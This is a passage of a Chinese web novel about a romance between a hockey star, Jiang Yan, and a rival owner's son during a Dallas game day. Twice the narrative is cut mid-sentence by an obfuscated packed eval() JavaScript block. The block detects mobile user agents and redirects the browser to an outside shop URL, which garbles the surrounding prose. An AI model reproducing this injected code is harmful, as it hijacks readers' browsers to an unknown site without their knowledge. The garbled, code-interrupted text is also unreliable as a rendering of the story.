艾利奥特站在他面前,被吓了一跳。他带着一丝惊慌的眼神从江砚那带着血迹的鼻梁和纱布,转移到了他死死扣着自己手腕的那只指节布满淤青和伤疤的大手上。 “啊……”江砚眨眨眼睛,反应了过来,匆忙放开艾利奥特的手腕,他有些难堪地把刚刚撕开的纱布又粘了回去,咬着后槽牙拼命想忍住鼻梁处传来的钻心的酸痛,“你怎么在这儿?没跟着球队一起回圣保罗?” “我在这边有工作要处理,所以就留下来了。”艾利奥特揉了揉被江砚抓得有些痛的手腕,转身在洗手台旁一边洗手一边用故作轻松的语气说道,“今晚客户约了我在这边吃饭,真巧遇到你们也来庆祝。” “哦……”江砚有些尴尬,在艾利奥特面前以这种并不是很帅气的形象出场是他很不情愿的事,“所以这几天你都会在丹佛吗?”他似乎是想到了什么,透过洗手台上方的镜子看着艾利奥特,“你不会是想来看我打球,打探我们球队的战术的吧?”他半开玩笑地说道。 艾利奥特发出一阵悦耳的笑声:“我只是在丹佛忙我自己的事情而已,又不是已经开始经营嚎狼队俱乐部了,在你心里我还不至于下作到偷战术吧。” 昏暗的灯光下,江砚没有注意到艾利奥特通红的耳尖。他讪讪笑了两声,关掉了水龙头。 “不过……”艾利奥特咬了咬下嘴唇,深吸一口气后说道,“我是你的球迷,也许,我会在闲暇之余来看你公开的打球训练什么的,这不算过分吧。” 江砚从旁边墙壁上的纸巾箱里拽下一张纸巾:“不过分,”他盯着镜子里的艾利奥特擦着手,“欢迎你来。”他又扯了一张,递给艾利奥特。 “那就好。”艾利奥特接过纸巾擦了擦手,用尽浑身解数冲着江砚露出他能做出的最甜的笑容,“期待尽早能看到在冰场上打球的你。” 他冲江砚伸出手,江砚看着那只只有富贵公子哥才会有的细腻柔软的手,没有再犹豫,伸出自己那只掌心布满老茧的大手将它包裹住。 ------------------------------------------------------ “所以,您考虑得怎么样了?拉姆西先生?”艾利奥特坐回到刚刚离开的卡座,向坐在桌子对面的男人问道。 “拜托,叫我提姆就行了。”戴眼镜的男人笑着,将手里的文件夹放到一边,“我完全没有任何意见。我很开心能和莫里兰德先生合作,作为专业的冰球顾问我能帮您勘探破霜咬队所有的战术。” “那再好不过了。”艾利奥特对着提姆·拉姆西露出浅浅的商业微笑,“不过还有一点就是,我希望你单独能给我好好分析分析江砚,毕竟……”他有些羞涩地低了低头,“我是他的忠实粉丝。” 10. 10 万宝路金标 2025年,11月17日,达拉斯,丽思卡尔顿酒店。 「我看你的比赛了。」 江砚站在酒店房间里,看着手机上他妈妈江霖发来的微信,整个人愣在原地。 “走啊。”米夏已经换好衣服在房间门口等着江砚一起去竞技场进行早场滑行,“你在看什么?” 江砚摇了摇头:“没什么。”说着把手机塞进了运动裤的口袋里。 江霖几乎从来不看他的比赛,反正在他印象里是这样的。在江砚还在国内进行训练时,江霖唯一一次出现在竞技场里还是因为那件事情发生…… 江砚心事重重地跟着米夏一起踏入舒适凉爽的空气中,这里比丹佛暖和多了。球队住的酒店离他们今晚要比赛的美国航空中心竞技场只有不到十五分钟的车程,坐上大巴车后,米夏耳机一戴眼睛一闭开始养神。江砚小心翼翼地躲避开米夏可能会看见视角,掏出手机点开微信。 「我从电视上看到你受伤了。现在好点了吗?」江霖如是问道。 江砚打了一行字,想了半天,最后还是逐字删除了。 「好多了。」 简短三个字发出去后,他关掉手机屏幕,闭上眼睛,强行让今晚和达拉斯烈阳队(Solaris)的比赛重新占据自己的脑海。 距离上次比赛和嚎狼队打架受伤已经过去三天了,她现在才联系江砚。 如果多年前的她不能像一个正常的母亲一样对待自己的亲生孩子,那么现在也没必要表演这一套“母慈子孝”的戏码。 江砚已经数不清这十年来,他有多少次会从同一个噩梦中惊醒:因为江砚的亲生父亲不知道第几次出轨带着女人回家过夜,平日在丈夫面前只会忍气吞声然而私底下会往江砚身上撒气的江霖终于崩溃了。在那个深夜她痛哭着嘶吼着,拿刀逼着江砚的父亲和那个“野女人”断干净,结果那个男人只是轻蔑一笑便离开了那个他们一起住了十几年的老式单元楼,再也没回过这个老家属院。 而江霖就像疯了一样,闯进江砚的卧室,从他的小床上一把把他拖起来,连拉带拽把她吓掉魂的儿子拽上了顶楼天台。她就那样抱着江砚在天台上冲着那个男人的背影大喊:“你要是不回来!我们母子俩就从这里跳下去!!” 而那个男人,真的就一次也没有回头。 最后江霖是被警察和邻居们劝下来的,江砚当时还在上小学,整个人全程都是一种被吓傻了的状态,呆在那里动弹不得。 “我们到了。”米夏推了推双眼紧闭的江砚,示意他大巴车已经停在竞技场前。 江砚感觉前额一阵钝痛。他没有再看手机江霖是否有再回复,径直跟着米夏一起下车,和其他队友们进入竞技场。 ------------------------------------------------------ 霜咬队的队员们在冰面上一圈一圈来回滑行,熟悉冰面、冰质,了解挡板的弹跳程度。霍洛威教练将所有人聚集一起重新设计强打走位,十几分钟后大家四散开来进行自己的个人训练。 “嘿,你看。”米夏靠近了江砚,用眼神示意看台,“那个是不是你的小果肉皮(groupie)?” 江砚顺着米夏的视线看过去,只见艾利奥特正和一个看起来很市侩的戴着眼镜穿着丑陋西装的男人坐在一起,那个男人还拿着一支笔对着霜咬队指指点点。 “谁家的果肉皮会带着专业顾问来追星啊。”洛根滑到江砚身边,“这一看就是来侦查我们来了。” “来就来呗,你就算把凯勒布·哈特丢在霜咬队里也学不会我们的配合。”米夏哈哈大笑,霜咬队光明正大,从来不怕这些来偷师的。 江砚没说话,他静静地看着艾利奥特。自从三天前在丹佛比赛当晚见过之后,他俩一直没再见过面。可是艾利奥特每次出现在他面前,看起来总是变得更漂亮了点。也许他是特意打扮过? 不,不可能。江砚摇摇脑袋,自嘲地笑了笑。 上回见到这个大少爷时他还撒谎说自己只是为了忙工作才没回明尼苏达呢,他这种精英怎么会为了一个打球的特意打扮自己呢。 艾利奥特咬着手指甲,注意到江砚和米夏还有洛根聚在一起似乎在往他这边看,心又开始不受控制地“砰砰”乱跳,脸颊一阵发烫。连忙低下头来,假装认真看提姆·拉姆西在书写板上画的用来讲解霜咬队强打战术的简笔画。 “你看,莫里兰德先生。这里就是一个三角循环区,三个球员通过三角传球拉扯防守。左边锋在左侧传球点、中锋在中路分球点。而江砚这个右边锋就在右侧主攻击点。右边锋是最容易形成爆发进球的位置。”提姆·拉姆西在书写板上给艾利奥特画了详细的讲解图示,而艾利奥特似乎只听进去了一个名字。 “所以,江砚这个位置很重要对吧?”艾利奥特假装随意地问道,扯了扯今天专门为了来看江砚而换的深蓝色羊绒外套,这件衣服可以衬得他的灰蓝色眼睛更好看。 “可以这么说,正是他每次身为右边锋成就的一个又一个的强打破门,妲露拉·门罗才会拼了老命也要签下他。”提姆·拉姆西看向江砚在冰面上滑行的身影,“他是难得一见的冰球天才。” 艾利奥特感觉有只小鸟在自己的胸腔里不断地拍打翅膀。他看着江砚拿一根球杆闲云野鹤般地将一个小小的冰球挑在尖端,无比轻松地来回拨弄,整个身子的重心全部放在右腿上在冰面上划圈圈,如履平地,那个冰球就像被粘在了球杆上一样,怎么都不会掉下去。 “看来他是真的厉害。”艾利奥特把袖口拽过自己的手掌,捂住自己在黑暗中开始变红的脸颊,往座位里坐得更深一点,强迫自己继续专心看拉姆西的讲解。 “江砚!”霍洛威教练在冰面另一端招呼着,“别在那边显摆了。等到了晚上再散发你的魅力,现在先过来听我说。” 江砚将球杆挑起,把那个飞在空中的冰球稳稳抓进手心。他假装不经意地瞟了一眼艾利奥特的位置,转身滑向教练那边。 ------------------------------------------------------ 在终于结束无聊的早场滑行训练和赛前会议后,霜咬队队员们开始排队上大巴车启程回酒店。 “你们先回去吧。”江砚假装随意地说道,“我一个人在附近走走。” “你为什……”洛根的问句还没出口,忽然想到了什么似的,匆忙走了过来一把抓住江砚的衣领,“你又想做那事儿了是吗?” “只是一根而已。”江砚一缩脖子,他还是有点忌惮洛根这个队长的。上次被他逮住自己偷偷抽烟可是被罚做了100个青蛙跳。 “一口也不行,你已经保持将近半年没吸了。”洛根伸手企图去掏江砚的外套口袋。 “行了行了……”米夏出来打圆场,“他最近确实压力太大,你也不希望他抽叶子是吧?”他这么说着,回头忧心忡忡地看了一眼江砚。 江砚内心一阵苦涩,不管怎样,米夏还是能看出他今天的状态不佳。 洛根虽然心有不忿,但比起身体状况,他还是更在乎江砚的心理状态。最终还是咬着牙离开了,临走前他还是再三交待了江砚不能在外面乱吃东西,必须保证在午餐时间回酒店和队友们一起统一用餐。 送走大巴车后,江砚放松地长舒一口气。从口袋里掏出差点被洛根掏走的、在米夏眼皮子底下藏了半个多月的万宝路金标。 其实江砚并没有烟瘾,但是今天事发突然。江霖给他发的信息虽然看上去平平无奇,但对于江砚来说就像一把悬在头顶的达摩克利斯之剑,稍有不慎这把剑坠落下来就能随时把他拖拽回当年的噩梦之中。 “嗯……我想这个地方应该是禁止吸烟的。” 当这个声音在江砚的背后响起时,那根香烟已经被江砚叼在齿间。他还没摸出打火机,但听到那个声音,不由得无奈地笑了。 “你怎么总是这种出场方式。”江砚转过头看向身后的艾利奥特,叼着那根烟含混地说道,“上次在丹佛你也是这样,吓了我一跳。” “可能我这个人比较神出鬼没吧。”此刻的艾利奥特看起来毛茸茸的,就像一个涉世未深的大学生。他穿着高领的深蓝羊绒外套,拉链一直拉到顶端,遮住了他那张见到江砚后总是张口结舌的嘴。长长的袖子盖住他的半个手掌,下面穿的牛仔裤长长的裤脚也盖住了半个脚面。他还真的像个大学生似的,单肩背着一个书包。金棕色的卷发随着他走过来的动静一颤一颤。 而江砚此刻浑身穿着全套的安德玛,和艾利奥特一比完全就是毫无特色。 还没等江砚欣赏完艾利奥特这可爱的造型,那个卷毛小子已经走到他的跟前,伸手就把那根烟从江砚的牙齿间拿了下来:“这里不能抽,达拉斯市区内不允许随意在街上吸烟,尤其是靠近公共建筑入口的地方,这里有全面的禁烟条例,禁止在公共场所吸烟。” 江砚挑起眉毛,看着艾利奥特将那根烟塞进自己的外套口袋:“你要没收它吗?” 艾利奥特伸出手:“剩下的烟呢?” 江砚直视着他的双眼,觉得好笑,但还是乖乖拿出口袋里的烟盒放到了艾利奥特的手掌心。 “你要一个人回酒店吗?”艾利奥特把烟盒放进自己羊绒外套的口袋,顾左右而言他地问道。 江砚抱起手臂,饶有兴趣地点点头。 艾利奥特被他看得有点不好意思,尽管已经竖起衣领遮住了鼻子下方的脸,但颧骨部分还是肉眼可见的变成了粉红色:“你也住在丽思卡尔顿吗?” “如果我们球队没有临时换居住地址的话,是的。”江砚毫不掩饰地看着艾利奥特露出来的面部皮肤越来越红。 “我也住在那里,我和你一起往回走吧。”艾利奥特说这话的时候感觉心脏都快飞出了嗓子眼,“如果你能坚持一路上都不抽烟的话,那么这盒烟我到了酒店就还给你。就当做是给你的奖励。” 江砚哑然失笑,他想伸手揉一把艾利奥特的卷发:“你给我奖励?” 这时他口袋里的手机一阵震动,江砚收敛起半分笑意,掏出手机,果然手机提示江霖给他发了十几条信息。 江砚连看也不看就按熄屏幕重新放回口袋:“好,就这么说定了。”他微微将身子靠近艾利奥特,“等我们到了酒店,你把我的奖励给我。” ------------------------------------------------------ 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307914|198735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚远比自己想象的更有意志力。 回丽思卡尔顿的路上,两人绕了点路,到了哈伍德公园散心。按照江砚私底下在网络上搜集到的有关艾利奥特的资料,身边这个比自己矮了将近一个头的漂亮男孩应该还要比自己大三岁。然而在两人一起压马路时,他竟然意外的发现艾利奥特在某些方面天真得像一个从未出笼的小鸽子。 比如闲聊时江砚提起来自己在国内时从小就需要五六点钟起床去上学,后来好不容易出国了结果还得早上五六点钟起床去训练。艾利奥特眨巴着漂亮的大眼睛问:“那你起床这么早,放学一定也很早吧?” 然而江砚也无法对着艾利奥特那好看到过分的灰蓝色眼眸说出比较冲动的话语,他只是笑着摇摇头,努力忽视口袋里江霖持续不断的信息轰炸,用尽全身心遏制住自己想抽烟的冲动。 “我从来没有查到过有关你会抽烟的资料。”艾利奥特仰起脑袋看着江砚,“甚至连TMZ那种小道消息网站上都没有。” “我一直很擅长伪装我自己。”江砚不自然地挠挠自己因为结疤而发痒的鼻梁,“你平时在网络上了解到的都是不真实的我。” “这也是为什么我一直想私底下认识你。”艾利奥特露出一个有些羞涩的笑容,双手插在外套口袋里,“我总觉得你不是网上的那种形象。” “你在网上了解的我是什么形象?”江砚感兴趣地问道。 “反正不是那种会抢不懂冰球的观众手里的可乐的形象。”艾利奥特俏皮地说道。 江砚看着他笑得弯弯的眉眼,抬起手来遮住艾利奥特的眼睛。 “怎么了?”艾利奥特不解地问。 “你笑得太多了。”江砚闪烁其词地说道。 ------------------------------------------------------ 原本十几分钟的路程,被两人拖长到半个多小时才抵达酒店。 “好了,”艾利奥特停下脚步,旁边的露天休闲区客人们三三两两地坐在正午时分的懒散空气中打发时间,不知哪里正在播放ChrisIsaak的WickedGame,“我猜你要去和你的队友们汇合了?” 江砚点点头:“你也要回你的房间了吗?” “我和这边的一些生意上的合作方约了午餐。”艾利奥特将肩上的书包提了提,提到商业上的事情时,看似青涩的脸颊上露出了江砚陌生的认真神色,“你做得很不错,回来的路上一次都没有向我要烟抽。” 江砚耸耸肩:“这点意志力我还是有的。” “要是你也有意志力能忽视手机上一直发来的信息就更好了。”艾利奥特忽然说道,“我猜那才是你焦虑想抽烟的原因,对吗?” 江砚惊讶地看着艾利奥特那双能洞察人心的双眼,又将视线移向别处。 “对不起,我不该问的,这太冒犯了。”艾利奥特意识到了江砚的不适,立刻道歉。他掏出那盒剩余的香烟,拉起江砚的手,将烟盒塞进他的手心,“你快去和队友们一起吃饭吧。” 江砚看了看烟盒里剩余的香烟:“你今晚会来看我比赛吗?”他没有看艾利奥特,低声问道。 “嗯……”艾利奥特愣了一下,“如果能在比赛开始之前结束今晚的会议的话,我应该会来的。”他抿了抿嘴唇,没有说出自己早就买好了冰场跟前那排vip座位的票。 江砚点了点头:“少了一根。” “嗯?” “烟,我说的是。少了一根。”江砚晃了晃手里的烟盒,里面的香烟发出晃动的声音。 “啊……”艾利奥特一直没有冷却下来的面部温度又升高了不少,他害臊地把藏在口袋深处的那根从江砚嘴里拿下的香烟掏了出来,“我把这个忘了……” 他拼尽全力掩饰住自己其实是想偷偷把这根烟当做自己和江砚第一次散步的纪念品带回去的冲动,手指发颤地想把香烟塞回烟盒。 江砚伸手抓住了艾利奥特的手指:“你帮我点烟吧。” 艾利奥特睁大眼睛:“我……我吗?”他回头看了一眼附近的指示牌,两人此刻确实是在吸烟区,“你要我帮你点烟吗?” 江砚勾起嘴角,点点头,不由分说将那根香烟塞进了艾利奥特的齿间。艾利奥特下意识地用牙齿叼住了香烟的滤嘴。江砚掏出口袋里被自己体温捂得温热的金属打火机,一只手扯起罩在外面的运动外套来给艾利奥特挡风,另一只手按了两下擦出了淡蓝色的火苗。他把火苗凑近了艾利奥特嘴上叼着的香烟,望着火星跳跃在烟纸和烟丝之间,给达拉斯凉爽的空气中又增添了一丝渺小的温度。 在二十四年来的人生里,只在大学派对上跟朋友们一起互相传着同抽一根烟的艾利奥特看着自己眼前一缕青烟升起。还没等他反应过来自己下一步应该是换气还是该把烟还给江砚时,江砚已经把那根烟拿了回去。 “谢了。”江砚将艾利奥特的嘴唇刚刚接触过的滤嘴放在了自己的唇间,露出一个让人目眩神迷的笑,“你替我留着这个吧。” 他说着,将那个被焐热的打火机一抛,艾利奥特下意识伸手接住。 “你拿着这个,以后我只在你奖励我时抽烟。”江砚吐出一口烟,冲着艾利奥特摆摆手,转身离开了。 11. 11 VIP席 “打个赌,今晚能进几个球?” 洛根在冰面上划过,经过窃窃私语的两个后卫时随口说道:“赌/博是严令禁止的。” “如果不赌钱,只赌今晚啤酒谁请的话应该还好吧。”米夏趴在冰面上不停做着开胯动作,“我赌江砚今晚能再玩一个帽子戏法。” “你怎么敢这么保证?”洛根滑到米夏身边拿球杆打了一下他的头盔。 “你没看今天中午他回来后状态极好吗?”米夏话里有话地说道,冲着正在热身的江砚方向努了努嘴,“我猜他今晚肯定会好好表现,尽管他自己不会承认的。” 洛根没听明白,不过米夏在他印象里一直喜欢胡言乱语,所以也就没有过多考虑他到底在表达什么,直接冲着江砚那边滑了过去。 江砚看上去确实状态不错,眼睛明亮面颊红润,甚至连热身动作都很烧包地绕着冰场边缘在做,惹得冰场跟前vip席上的女粉一阵尖叫,引起附近达拉斯烈阳队粉不满的眼神。 “嘿,”洛根滑到江砚身边,上下打量一番,“今天中午那根烟给你的好处这么大?” “嗯?”江砚早就忘了自己中午还抽过烟的事,过了两秒才反应过来,“啊,对。有什么能比早场训练后来一根烟更能加强心理素质的呢?” 洛根觉得江砚的话语毫无任何诚信可言,但此刻他也不愿意多说什么:“好好表现。”他拍拍江砚的肩膀,却在抽回手的不经意间注意到江砚的眼神在不自然地偷偷瞥向附近的看台。 果然有事! 洛根很熟悉这个眼神,一般队里有个冰球运动员用这样的眼神偷偷乱溜观众看台的话,那一定是说明有他在乎的人来看他比赛了。 他不动声色地又滑到米夏身边:“江砚今天是不是见过什么人了?” 米夏被队长严肃的神情吓了一跳:“没啊……”他故作轻松地回答,“他应该就是只抽了一根烟而已。” “放屁(Bullsh*t)!”洛根粗暴地打断了米夏的谎话,“你们哥俩住一个房间,他一天打几次飞机你都知道,赶紧告诉我他是不是有约会对象了?” “没有~”米夏企图软化队长情绪,“他真的回来后就跟我说只抽了根烟罢了。” 洛根盯着米夏半天,最终还是挫败地转移开视线:“我先提前说明,我并不反对江砚谈恋爱,我只是不想看到我的队员因为恋爱脑上头而放松警惕。” “我觉得江砚这种人应该不会的吧。”米夏陪笑着说道,后背却出了一层汗。 他明白,他可太明白了。 江砚在结束午饭后,回到房间往床上一躺,嘴角若有若无的暧昧笑意无不暗示着他见到心仪的对象了。 “你怎么知道?”果然是大小伙子,米夏稍微一试就试出来了,“你不要告诉其他人。” “滚蛋,我还能告诉谁?”米夏坐在江砚的床边,“告诉我,是不是那个咱们宿敌球队的富家小少爷?” “除了他还能有别人?”江砚自嘲地一笑,从床上坐起来走向浴室,“不过他对我还是那种态度,我也没必要勉强我自己。” “那还好,”米夏看着江砚的背影,“所以……你还要按照你以前发的誓那样对吗?不会再对任何人交心?顶多走走肾?” “嗯哼,”江砚拿出一条浴巾,“不过这个小少爷,我想我最好还是放弃希望吧,不是一路人的就不要强求了。毕竟……” 他转过头来对米夏露出一个略显苦涩的笑容:“只要不抱希望,就不会失望对吧。” “嘿!”米夏被身边的后卫拍了一巴掌,从回忆中回过神来,“发什么愣呢?唱国歌的歌手都来了,要开始了。” ---------------- 第一小节结束,江砚暴躁地一把扯下头盔进入休息室。 “你他*的是不是有毛病?”洛根从后面大步走上来一把扯过他,“怎么会有这么大的失误?!那种球你从来都不会被抢断的!” “我眼神不行了好吧!”江砚暴躁地冲着洛根吼回去,“没看清对面的那个后卫的假动作!” “你要是不到处乱看、把你的视线集中在你眼前的阵型的话你早就进了!”洛根吼得更大声,这对于“圣人”洛根来说非常少见。 休息室里的气氛无比沉重。一般来说即便是输球洛根也不会对球员们严加苛责,而他此刻这么对江砚发脾气,只能是一个原因:他认为江砚不够用心。 江砚明显也意识到了这一点,他盯着洛根的双眼,半晌后挫败地低下头:“对不起……”他这次的语气明显比刚刚不同,“我确实有点分心了,我下一小节会注意的。” 他确实很羞愧,没有理由给自己争辩,他的确没有以前那么用心比赛,他只知道他在第一小节时几乎找遍了所有看台和冰场边的vip席都没看到那一头金棕色的卷发。 洛根很想冲着江砚再吼两句,但是江砚的眼圈非常罕见的红了一圈,呈现出一种他几乎从来没有见过的脆弱感。最终他还是没有忍心骂出口。 “下一节的时候别再看观众席了。”洛根放低音量说道,给了江砚肩膀上一拳,“不值得。” 江砚呆坐在休息室长椅上,米夏不敢上前去劝导他。最终,江砚晃了晃沾满了汗水的黑发,抬头做了个长长的深呼吸。 不值得。 他无声地默念道。 ---------------- 第二小节结束,霜咬队vs烈阳队2:3落后一分。 江砚明显在这一小节状态比刚刚好起来一些,但烈阳队的节奏比想象中更硬,这一小节里增添了很多身体对撞。以至于又爆发了一点不大不小的冲突,引得两边左前锋坐了几分钟受罚席。 “好的,接下来我们不能掉以轻心。”洛根在全体队员们重新出发走上冰面前做最后的加油打气,“我们在达拉斯的主场做到目前这一点已经很不错了。但是我相信我们能做到更好(看了一眼江砚)。无论如何,今晚这群德克萨斯乡巴佬都别想轻松赢得这场战役,他们注定今晚要么带着彻底被玩坏的身子、要么带着哭丧的脸回家。现在,打起精神,给我/干/爆他们!!” 米夏使劲晃了晃江砚的肩膀,江砚冲着米夏挤出一个勉强的笑容。 ---------------- 第三小节,剩余时间14分32秒,霜咬队仍以2:3落后。 江砚从替补席滑上冰面时,呼吸有点乱:前两节消耗太大了,不只是体力,还有那种被什么东西吊在半空、却始终落不到实处的焦躁。 “加油伙计!”金诺亚坐在替补席上,从后面使劲拍了拍江砚的后背。 江砚胡乱点了点头,把叼在嘴角的护齿塞进嘴里。沿着右路推进,习惯性抬头简单地扫了一眼看台。 原本只是下意识的动作。 然后,他看见了—— ——紧挨着冰场的那一片vip区,常年都被江砚的一群狂热女粉霸占的位置,有人正匆匆挤进座位。 他那套一看就价值不菲的西装外套没来得及穿好,怀里抱着那个中午时见过的书包,肩带歪歪斜斜地挂着。一头金棕色的卷发因为跑得过急而略显凌乱,脸颊因为剧烈运动和急促的呼吸而泛着可爱的红晕。 他低头道歉、侧身让人。终于在两个江砚的狂热女粉中间位置坐下时,还抬手理了一下额前的碎发。 那一瞬间,江砚感觉脚下的冰刀在冰面上轻轻一顿,双手绞紧那根球杆。 嘴角不受控制地向上勾起,露出一个无法掩盖的笑。 胸腔里那股拧着的力道,忽然松开了。 ---------------- 艾利奥特抬手看了一眼手腕上的百达翡丽:离第三小节结束还剩十三分钟左右,应该还不算太晚。 “怎么样?江砚进球了没有?”他把没来得及放回酒店房间就急匆匆带着一起过来的书包放到脚边,把开始回温的手心贴在被体育场外的夜晚冷空气冻得冰凉的脸颊上。 “今晚他一直没有打入无助攻进球。”他右手边的女粉怀里抱着写有“江砚娶我”字眼的纸板,语气焦急地回复道,“我感觉他今晚不在状态。” 不在状态吗? 艾利奥特无法接受自己的偶像今晚状态不佳的事实,直接站起身子和两边的女粉一起站在亚克力挡板跟前,双手贴在透明板子上看向冰面。 江砚在他们面前滑过,脸颊微微侧向他们,留下一个微笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307915|198735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊啊啊啊啊——江砚!!!”那个举着纸板的女粉又蹦又跳,艾利奥特记得她,上次在丹佛的主场上,她向江砚要了个签名冰球,还给他投喂了盒巧克力。 艾利奥特撇了撇嘴,想把自己离得和她远一点。结果不小心碰到了左手边的一个姑娘,她脸上涂着霜咬队logo的面部彩绘,穿着印有江砚号码的球服。 艾利奥特小小地翻了个白眼。 ---------------- 第三小节12:48,达拉斯烈阳队试图从中路压迫。 江砚带球推进到右侧板墙附近,被对方两名防守球员夹住。他没有强行突破。反而在身体即将被挤到失去平衡的瞬间,手腕一翻,将球回传。 冰球贴着冰面,精准地穿过防守缝隙。洛根几乎是本能地补位到位—— ——射门! 冰球擦着烈阳队门将的护具内侧飞进球门,红灯亮起。 3:3,比分扳平!全场的喝彩声和嘘声瞬间集体炸开。 江砚滑向中圈,抬头再次看了一眼vip区。只见艾利奥特已经站了起来,小脸红扑扑的,双手紧紧地贴着挡板,灰蓝色的眼眸因为激动而显得亮晶晶的,像是完全忘了自己身处在哪里。 他们的视线隔着整块冰场短暂地撞了一下。 相当短暂。 ---------------- 比赛进入最后六分钟,烈阳队被霜咬队的反超逼急了,节奏开始变得危险。防守线明显开始收缩,试图拖时间。 替补席再次轮换,王牌战线重新上场。按照霍洛威教练的经典战术布置,洛根应在中圈卡位,吸引防守注意。然而正当所有人做好了架势时,江砚从右侧突然反跑。 洛根和伊莱亚斯瞬间反应过来,那是他们练过无数次、却很少在这种高压局面下使用的配合。他们调整身体的滑行角度,尽管爆发力远远比不上江砚,但是也要用尽所有能力接应住! 冰球队友那边传来的一瞬间,江砚几乎没有调整。 手腕射门! 他的出手无比干净、利落。冰球在他挥出的球杆下划过一道低平的弧线,从门将腋下钻入球网。 红灯再次亮起。 4:3。 反超成功!!!! 美国航空中心内部的DJ极不情愿地开始播放Kernkraft400来帮忙庆祝这一进球。 然而江砚并没有立刻庆祝。他只是停在原地,呼出一口白气,随着身体的惯性在冰面上滑行着,慢慢举起球杆。 转身时,他又看向了看台。 艾利奥特已经彻底趴在了挡板上,那头原本就显得凌乱的金发,明显是因为过于紧张又被抓得更乱了一些。他就像是被那一球击中了一样,脸上全是来不及掩饰的震惊与狂喜。 江砚冲他抬了抬下巴,很轻,很快。像是在说—— ——“看见了吗。” ---------------- 最终洛根说的没错,霜咬队让达拉斯烈阳队带着沉重的身躯和哭丧的脸回家了。4:3反超,多么美妙的数字! 散场时,场馆内的DJ仿佛是被这个成绩刺激疯了,甚至开始播放TaylorSwift的TheFateofOphelia,伴随着现场的彩带落下,让现场的烈阳队球迷哭笑不得。 艾利奥特浑身脱力地坐在座位上,他只进来看了十几分钟的比赛,却让他如此近距离目睹了江砚那无与伦比的风采,他的嗓子都因为和旁边两个江砚女粉一起尖叫而沙哑了不少。 他感觉口袋里的手机一阵震动,掏出来点亮屏幕时心脏又猛地停顿一拍: 「散场后,来后场休息室?」 这是江砚给他发来的第一条信息。 艾利奥特毫不犹豫地按照本能先截屏,然后飞速回复: 「好的,没问题:)」 蠢死了,为什么要发“:)”这个颜文字,难道我还是个中学生吗?给这个比自己还小三岁的球星发这么傻不拉几的…… 发出去就开始后悔的艾利奥特一边把书包背上肩头站起身往外走一边把刚刚那张截图找出来加入到整理的关于江砚的相册里。 12. 12 更衣室 如果要艾利奥特亲手写下人生中最后悔做过的事情清单,进入冰球运动员的更衣室绝对可以排得上前三名。他忽然明白了为什么以前一直都是他爸不让他跟着,自己孤身一人英勇地独自进入那个区域。 推开走向更衣室的走廊大门,一阵浓重的汗臭味裹挟着运动员们洗热水澡时产生的蒸汽直冲面门而来,艾利奥特差点站在走廊尽头因为无法喘上气来而晕过去。 “嘿,这不是那个明尼苏达小伙儿吗?”这时正好经过一个腰部以下裹着一条浴巾的霜咬队队员,艾利奥特眼含热泪地看着他,一手拽着书包肩带一手捂住自己的口鼻,努力在这令人难以忍受的气味中辨认出这是哪个队员……好像是叫马泰奥? 马泰奥觉得好笑,这个他们死对头球队的老板儿子竟然会闯到客队休息区域,他回头敲了敲嘟哝着俄语经过的米夏:“瞧瞧谁来了?” 米夏转头看到艾利奥特时眼睛瞪得贼溜大:“你该不会是……”他抬手捂住嘴,“你等我一下!” 话音刚落,他扯着马泰奥转头就往更衣室里跑。 “江砚!你个臭小子(yousonofabi*ch)!”米夏放开马泰奥后上来给了刚洗完澡出来的江砚一拳,“你不是说你对他没希望了吗?人家怎么找上门来了?” 江砚浑身洗得干干净净,散发出一股清新的沐浴露淡香。白净帅气,甚至连鼻梁上的伤痕都显得像他英俊面庞上的军功章。 “他过来啦?”江砚听到米夏这话,有点压抑不住脸上小雀跃的表情,转身朝着墙上挂着的镜子那边看了一眼,确保自己看起来确实不错后,扯过一条浴巾开始擦拭身上的水珠,“是我叫他过来的,我想最后确定一下。” “确定什么?你真觉得你俩能成?”米夏咬着牙靠近他这个哥们,尽量不引起更衣室内其他队员的注意。 “没有,我只是想,起码做个朋友也挺好的。”江砚的脸上看不出什么其他的情绪,“你放心,我没想认真。” 米夏有些酸溜溜的:“难道有我做你朋友还不够吗?” “挺够的,但是你还有斯维特拉娜,总不会24小时都在做我朋友对吧?”江砚轻松地说着,三下两下给自己套上了简单的T恤和运动裤,“帮忙跟洛根说我等会就来会合。” “我可不像以前那样劝你了哈!”米夏看着江砚的背影无奈地喊道。 ---------------- “嗨!”艾利奥特在走廊尽头等到了浑身清爽无异味的江砚出现,眼泪顺着他捂着口鼻的手背滑落,他甚至分不清到底是因为见到这个今晚光彩夺目的大明星激动得、还是被其他人身上的味道熏得,“你今晚的表现真厉害!” “而你也成功赶到了。”江砚笑着伸手擦掉了艾利奥特眼角的泪水,“这个地方臭死了,我们去外面聊。” 两人一前一后顺着员工通道来到了体育场外围的一条后巷。艾利奥特终于舍得放下手,深深地呼吸了一口达拉斯夜晚和江砚身边的清新空气。 “所以……”江砚停住脚步,艾利奥特撞到了他的后背上。 “嗯?”艾利奥特捂着额头抬头看他。 江砚转身靠在后巷的墙壁上,两手插进运动裤的口袋里,双眼含笑地看着艾利奥特,“我的奖励呢?” 